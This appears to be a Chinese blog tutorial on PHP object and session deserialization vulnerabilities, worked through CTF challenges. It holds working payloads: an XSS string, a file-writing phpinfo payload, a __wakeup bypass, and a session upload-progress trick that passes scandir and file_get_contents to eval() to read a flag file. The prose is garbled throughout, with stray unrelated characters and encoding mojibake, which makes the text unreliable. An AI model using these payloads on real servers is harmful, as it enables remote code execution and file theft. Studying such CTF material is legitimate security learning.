前言
之前剛接觸到反序列化概念的時候蝴韭,寫過一篇。現(xiàn)在回頭看的時候熙侍,發(fā)現(xiàn)寫的太low了榄鉴。所以再重寫一篇。如果以后不滿意我就再重寫蛉抓。
序列化
認(rèn)識反序列化之前庆尘,先說一下序列化,通俗地講就是把一個對象變成可以傳輸?shù)淖址?br> 序列化代碼
<?php
class Demo{
public $name = "author";
protected $sex = "sex";
private $age = 18;
}
$example = new Demo();
echo serialize($example);
?>
結(jié)果為
O:4:"Demo":3:{s:4:"name";s:6:"author";s:6:"*sex";s:3:"sex";s:9:"Demoage";i:18;}
serialize() 函數(shù)產(chǎn)生一個可存儲的字符串巷送,經(jīng)常用于序列化操作减余。
O 表示Object對象,4代表4個字符惩系,即Demo
3 表示三個變量,即name如筛、sex堡牡、age
s 表示字符串string,i 表示整型int
4杨刨、6晤柄、3 、9代表變量名的字符長度
protected 屬性被序列化的時候?qū)傩灾禃兂?00*%00屬性名
即s:6:"*sex"妖胀,兩個%00也就是空白符芥颈,一個%00長度為一惠勒,所以序列化后該屬性長度為6
private 屬性被序列化的時候?qū)傩灾禃兂?00類名%00屬性名
即s:9:"Demoage",7個字符長度加上兩個%00為9
反序列化
反序列化就是把那串可以傳輸?shù)淖址僮兓貙ο蟆?br> 使用unserialize()函數(shù)對字符串進(jìn)行反序列化為對象爬坑。
<?php
class Demo{
public $name = "author";
public $sex = "sex";
public $age = 18;
}
$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>
輸出結(jié)果為
object(Demo)#2 (3) { ["name"]=> string(7) "cseroad" ["sex"]=> string(3) "man" ["age"]=> int(18) }
魔術(shù)方法
php 有很多魔術(shù)方法纠屋,魔術(shù)函數(shù)以__開頭,在某些條件下自動觸發(fā)盾计。
__construct() 構(gòu)造函數(shù)售担,一個對象創(chuàng)建時被調(diào)用
__destruct() 析構(gòu)函數(shù),當(dāng)一個對象銷毀時被調(diào)用
__toString() 當(dāng)一個對象被當(dāng)作一個字符串使用
__sleep() 先檢測是否存在該方法署辉,如果存在先調(diào)用再執(zhí)行序列化操作
__wakeup() 先檢測是否存在該方法族铆,如果存在先調(diào)用再執(zhí)行反序列化操作
以__wakeup()為例
<?php
class Demo{
public $name = "author";
public $sex = "sex";
public $age = 18;
public function __wakeup(){
$this->name = "vxeroad";
}
}
$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>
結(jié)果輸出
object(Demo)#2 (3) { ["name"]=> string(7) "vxeroad" ["sex"]=> string(3) "man" ["age"]=> int(18) }
順便說一句
當(dāng)序列化字符串表示對象屬性個數(shù)的值大于真實(shí)個數(shù)的屬性時就會跳過__wakeup的執(zhí)行。
漏洞產(chǎn)生
如果服務(wù)器能夠接收序列化過的字符串哭尝、并且未經(jīng)過濾的把其中的變量直接放進(jìn)這些魔術(shù)方法哥攘,就很容易造成嚴(yán)重的漏洞。
比如這個demo.php
<?php
class A{
var $name = "demo";
function __destruct(){
echo $this->name;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
//var_dump($a_unser);
?>
payload為
test=O:1:"A":1:{s:4:"name";s:25:"<script>alert(1)</script>";}
test參數(shù)沒有經(jīng)過任何處理材鹦,只需要將序列化的字符串設(shè)置name逝淹,就可以覆蓋name屬性。
設(shè)置字符串為XSS代碼侠姑,反序列化后即可觸發(fā)创橄。
再比如這個
<?php
class A{
var $name = "demo";
function __destruct(){
$fp=fopen(dirname(__FILE__)."/save.php","w");
fputs($fp,$this->name);
fclose($fp);
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
payload 為
test=O:1:"A":1:{s:4:"name";s:18:"<?php phpinfo();?>";}
即可將phpinfo寫進(jìn)save.php文件。
CTF實(shí)例
了解了反序列化的漏洞原理莽红,我們看道CTF題目妥畏。
極客大挑戰(zhàn) 2019-web 題目
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
看到index.php 接收select參數(shù),傳入序列化的字符串安吁。進(jìn)行反序列化操作醉蚁。
看到class.php文件使用了三個魔術(shù)方法。__construct 構(gòu)造函數(shù)鬼店、__wakeup 反序列化時先調(diào)用网棍、__destruct對象銷毀時調(diào)用「局牵看到username必須為admin時滥玷,才可以獲取flag。
這里的變量username巍棱、password 均是private 屬性惑畴。應(yīng)是s:14:"Nameusername"
,設(shè)置username為admin航徙。
payload為
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";}
接著填寫password如贷,"Namepassword";i:100,注意是int類型
payload為
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
執(zhí)行后
既沒有獲取到username,也沒有password杠袱。
是因為private屬性尚猿。之前我們說過private被序列化的時候?qū)傩灾禃兂?00類名%00屬性名。只不過是不可見字符楣富。
所以我們payload自然也需要加上%00字符凿掂。
payload為
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
程序走了else分支,因為反序列化操作時調(diào)用了__wakeup菩彬,username被賦值為了guest缠劝,不是admin。那么有什么辦法跳過__wakeup嗎骗灶?當(dāng)然就是上面說過的:當(dāng)序列化字符串表示對象屬性個數(shù)的值大于真實(shí)個數(shù)的屬性時可跳過惨恭。
所以最終payload為
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
這道題目的思路就是跳過__wakeup()函數(shù)。
Session 反序列化
什么是 Sesssion 耙旦?
Session 被稱為“會話控制”脱羡。主要是指客戶端瀏覽器與服務(wù)端數(shù)據(jù)交換的對話,從瀏覽器打開到關(guān)閉免都,一個最簡單的會話周期
當(dāng)開始一個Session時锉罐,php會嘗試從請求中查找會話 ID (通常通過會話 cookie),如果發(fā)現(xiàn)請求的Cookie绕娘、Get脓规、Post中不存在session id,php就會自動調(diào)用php_session_create_id函數(shù)創(chuàng)建一個新的會話险领,并且在response中通過set-cookie頭部發(fā)送給客戶端保存侨舆,例如登錄網(wǎng)頁時不存在session id,于是就使用了set-cookie頭绢陌。
php.ini 配置
session.save_path="" 設(shè)置session的存儲位置
session.save_handler="" 設(shè)定用戶自定義存儲函數(shù)挨下,如果想使用PHP內(nèi)置session存儲機(jī)制之外的可以使用這個函數(shù)
session.auto_start 指定會話模塊是否在請求開始時啟動一個會話,默認(rèn)值為 0脐湾,不啟動
session.serialize_handler 定義用來序列化/反序列化的處理器名字臭笆,默認(rèn)使用php
session.upload_progress.enabled 啟用上傳進(jìn)度跟蹤,并填充$ _SESSION變量秤掌,默認(rèn)啟用
session.upload_progress.cleanup 讀取所有POST數(shù)據(jù)(即完成上傳)后愁铺,立即清理進(jìn)度信息,默認(rèn)啟用
phpstudy的phpinfo 配置
session.save_path = "C:\phpStudy\tmp\tmp" 所有session文件存儲在tmp目錄下
session.save_handler = files 表明session是以文件的方式來進(jìn)行存儲的
session.auto_start = off 表明默認(rèn)不啟動session
session.serialize_handler = php 表明session的默認(rèn)(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on 表明允許上傳進(jìn)度跟蹤闻鉴,并填充$ _SESSION變量
session.upload_progress.cleanup on 表明所有POST數(shù)據(jù)(即完成上傳)后茵乱,立即清理進(jìn)度信息($ _SESSION變量)
session的存儲機(jī)制
php session的存儲機(jī)制是由session.serialize_handler來定義引擎的,默認(rèn)是以文件的方式存儲椒拗。即在C:\phpStudy\tmp\tmp 目錄下。
session.serialize_handler 定義的引擎有三種
處理器名稱------存儲格式
php ------ 鍵名 + 豎線 + 經(jīng)過serialize()函數(shù)序列化處理的值
php_binary ------ 鍵名的長度對應(yīng)的 ASCII 字符 + 鍵名 + 經(jīng)過serialize()函數(shù)序列化后的值
php_serialize(php>5.5.4) ------ 經(jīng)過serialize()函數(shù)序列化處理的數(shù)組
下面我們通過簡單的代碼看一下
php 處理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
賦值為cseroad
session目錄存儲為
session|s:7:"cseroad";
session鍵名+|+序列化值
php_binary處理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session目錄存儲為
session 字符長度7對應(yīng)的ASCII碼+鍵名session+序列化值
php_serialize 處理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session 目錄存儲為
a:1:{s:7:"session";s:7:"cseroad";}
$_SESSION變量序列化后的值
Session 的反序列化漏洞
漏洞產(chǎn)生就是不同的處理器混合使用。在用session.serialize_handler = php_serialize存儲的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值時蚀苛, | 會被當(dāng)成鍵值對的分隔符在验,在特定的地方會造成反序列化漏洞。
比如session.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
hello.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class A{
public $name = "cseroad";
public $age;
function __wakeup(){
echo "hello ".$this->name;
}
}
$str = new A();
echo serialize($str);
?>
在首次訪問hello.php時堵未,輸出
O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}
此時session目錄為空值
如果此時訪問session.php腋舌,并賦值session為 | O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}
再次查看session 目錄。這里的|就是分隔符渗蟹。
有了該session值块饺,再次訪問hello.php文件時,從session值里面取出name值雌芽。即可輸出hello cseroad
CTF 實(shí)例
題目:http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
phpinfo查看session.serialize_handler值授艰,存在session 反序列化
如何控制session值呢?
當(dāng)上傳文件時世落,同時POST文件與session.upload_progress.name同名變量時淮腾,當(dāng)php檢測到這種POST請求時,它會在$_SESSION中添加一組數(shù)據(jù)屉佳。那就可以通過Session Upload Progress來設(shè)置session谷朝。
編寫上傳HTML
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
那么上傳的filename寫什么呢?和之前的思路類似武花,填寫分隔符加序列化的字符串圆凰。
那字符串又寫什么呢?
編寫腳本体箕,設(shè)置處理器為php_serialize
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>
設(shè)置payload為
print_r(scandir(dirname(__FILE__)));
#scandir 函數(shù)列出目錄中的文件和目錄
#dirname 函數(shù)返回路徑中的目錄部分
得到
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
為防轉(zhuǎn)義专钉,在每個雙引號前加上\
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
這就是filename值。
注意添加|
可以看到存在flag文件干旁。
接著使用file_get_contents函數(shù)讀取該路徑下flag文件驶沼。當(dāng)前目錄路徑phpinfo可看到。
payload 修改為
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
獲取序列化字符争群,并添加反斜杠
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
讀取flag
這道題目的思路就是自己編寫php_serialize 處理器回怜,填寫讀取讀取文件的payload。并輸出序列化后的字符串换薄,再利用文件上傳通過filename設(shè)置session玉雾,讀取flag。
總結(jié)
有些難懂轻要,彎彎繞繞需要多看复旬,多理解。
參考資料
最通俗易懂的PHP反序列化原理分析
PHP反序列化漏洞入門
原理+實(shí)踐掌握(PHP反序列化和Session反序列化
一文讓PHP反序列化從入門到進(jìn)階